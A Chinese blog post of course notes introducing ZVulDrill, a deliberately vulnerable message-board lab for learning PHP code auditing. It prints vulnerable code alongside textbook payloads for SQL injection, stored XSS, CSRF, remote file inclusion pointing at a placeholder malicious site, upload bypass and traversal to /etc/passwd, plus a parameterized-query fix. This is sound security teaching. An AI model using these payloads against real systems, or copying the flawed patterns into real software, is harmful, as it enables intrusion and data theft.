第7章 第78-79课
一、ZVulDrill:你的校园版"漏洞百宝箱"
想象一个校园留言板系统:能发帖、传头像、搜内容。但它的每个功能都藏着安全漏洞——这就是ZVulDrill,专为安全练习生的实战沙盒。
// 模拟留言板核心功能(伪代码)
class MessageBoard {
function search($keyword) { /* 搜索功能:藏有SQL注入 */ }
function login($username, $password) { /* 登录:弱口令+SQL注入 */ }
function uploadAvatar($file) { /* 头像上传:无过滤 */ }
}
二、漏洞地图:这些坑你踩过吗?
场景1:选课系统搜老师?小心SQL注入!
# 危险代码:搜索功能(Python+SQLite模拟)
def search_teacher(keyword):
sql = "SELECT * FROM teachers WHERE name = '" + keyword + "'"# 直接拼接输入
# 攻击payload:输入 ' OR '1'='1' --
# 执行结果:泄露所有教师数据 ( ̄□ ̄;)
场景2:社团招新留言板的XSS陷阱
// 存储型XSS漏洞(PHP示例)
function save_comment($content) {
$db->query("INSERT INTO comments VALUES ('$content')"); // 未过滤直接存储
// 当显示评论时:<script>alert('盗你cookie!')</script>
}
场景3:学生会投票系统的CSRF攻击
<!-- 恶意网站内嵌代码 -->
<img src="http://投票系统.com/vote?option=1" width=0 height=0>
<!-- 你已登录时访问该网页→自动投出1号选项 (・∀・) -->
三、审计四步法:像侦探一样挖漏洞
STEP1 环境搭建:5分钟极速开箱
docker pull zvu1drill/legacy-version# 拉取漏洞镜像
docker run -d -p 8080:80 --name my_zvul# 启动容器
# 访问 http://localhost:8080 → 看到复古风留言板 (´∀`)
STEP2 功能分析:画出校园应用流程图
用户注册 → 登录 → 发布留言 → 搜索留言 → 上传头像
↑↓
└── 管理员后台(弱口令预警!)
STEP3 关键函数追踪:用Seay揪出危险代码
// 文件包含漏洞示例(PHP)
include($_GET['page'] . ".php");
// 攻击:?page=http://恶意站点/shell
STEP4 功能点爆破:聚焦三大高危操作
# 文件上传漏洞检测逻辑(伪代码)
def check_upload(filename):
if filename.split(".")[-1] in ["jpg","png"]:# 只检查后缀名
return True
# 绕过:传shell.php.jpg → 服务器解析成PHP执行 ( ̄▽ ̄*)ゞ
四、实战剧场:你的第一次代码缉凶
案件:登录框的万能密码事件
// 漏洞代码片段(PHP+MySQL)
$sql = "SELECT * FROM users
WHERE username='$_POST[user]'
AND password='$_POST[pass]'";
// 攻击者输入:
// 账号:admin' --
// 密码:随意填
// 最终SQL:SELECT ... WHERE username='admin' -- AND password='xxx'
// 解释:-- 注释掉后续语句,直接登录管理员!(>_<)
修复方案:参数化查询
# 安全版本(Python示例)
cursor.execute(
"SELECT * FROM users WHERE user=%s AND pass=%s",
(username, password)# 自动转义特殊字符
)
五、为什么ZVulDrill像"安全健身房"?
- 弱口令 → 室友的生日当密码?秒破!
- 目录遍历 → 输入
../../etc/passwd读取敏感文件 - 反射型XSS → 分享链接暗藏攻击脚本
真实世界启示:校网系统/选课平台/社团报名表...都可能存在同类漏洞。审计时永远问自己:
"如果我是黑客,会在这里输入什么?" (๑•̀ㅂ•́)و✧
(代码示例已精简聚焦核心漏洞逻辑,实际项目请参考完整ZVulDrill源码)
感谢浏览和学习,作者:鱼油YOU,转载请注明原文链接:https://www.cnblogs.com/OmegaYOU3/p/19024364,或者可以➕主播WX:OmegaAnimeman_desu;QQ:3819054512
浙公网安备 33010602011771号